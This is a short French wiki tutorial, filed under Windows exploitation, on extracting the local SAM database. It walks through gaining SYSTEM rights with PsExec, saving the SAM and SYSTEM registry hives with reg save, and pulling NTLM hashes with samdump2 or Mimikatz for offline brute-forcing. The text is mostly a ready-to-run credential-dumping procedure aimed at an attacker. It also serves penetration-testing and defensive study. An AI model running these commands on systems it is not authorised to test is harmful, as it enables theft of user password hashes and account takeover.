# [Exploitation/Windows] Récupération base SAM locale

## Introduction

La **base SAM** sur un poste ou un serveur Windows stocke l'ensemble des **hashs NTML** des utilisateurs locaux.

Si un attaquant parvient à la récupérer, il pourra lancer une attaque brute force pour essayer de trouver le mot de passe en clair.

Cependant, le fichier est protégé et nécessite les droits utilmes NT authorité système pour la récupérer.

## ![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/Vk4image.png)Manuel

- Tout d'abord, téléchargez la suite **SysInternal** sur le site de Microsoft :

[https://learn.microsoft.com/fr-fr/sysinternals/downloads/sysinternals-suite](https://learn.microsoft.com/fr-fr/sysinternals/downloads/sysinternals-suite)

- Vous pouvez extraire l'archive dans le dossier **C:\\Windows\\System32** pour avoir **PsExec** dans le path.
- Désormais, lancer un **cmd** en tant qu'administrateur et lancez la commande suivante :

```powershell
PsExec.exe -s -i cmd.exe
```

- Acceptez les conditions d'utilisation de PsExec et observez que vous avez les droits suprêmes dans le nouveau shell :

```powershell
whoami
```

- Lancez les deux commandes suivantes pour extraire la base sam et le fichier système associé :

```powershell
reg save hklm\sam c:\sam
```

```powershell
reg save hklm\system c:\system
```

Les deux fichiers sont désormais récupérable à la racine de votre système de fichiers !

#### Samdump2

Ensuite, vous pouvez récupérer les hashs grâce à l'outil **samdump2** sur Linux :

```bash
samdump2 <SYSTEM_FILE> <SAM_FILE> [-o OUTPUT_FILE]
```

#### Mimikatz

Sinon vous pouvez procéder avec **Mimikatz** pour récupérer les hashs :

```powershell
mimikatz.exe
```

Une fois dans le shell de mimikatz :

```
privilege::debug
```

```
token::elevate
```

```
lsadump::sam system sam
```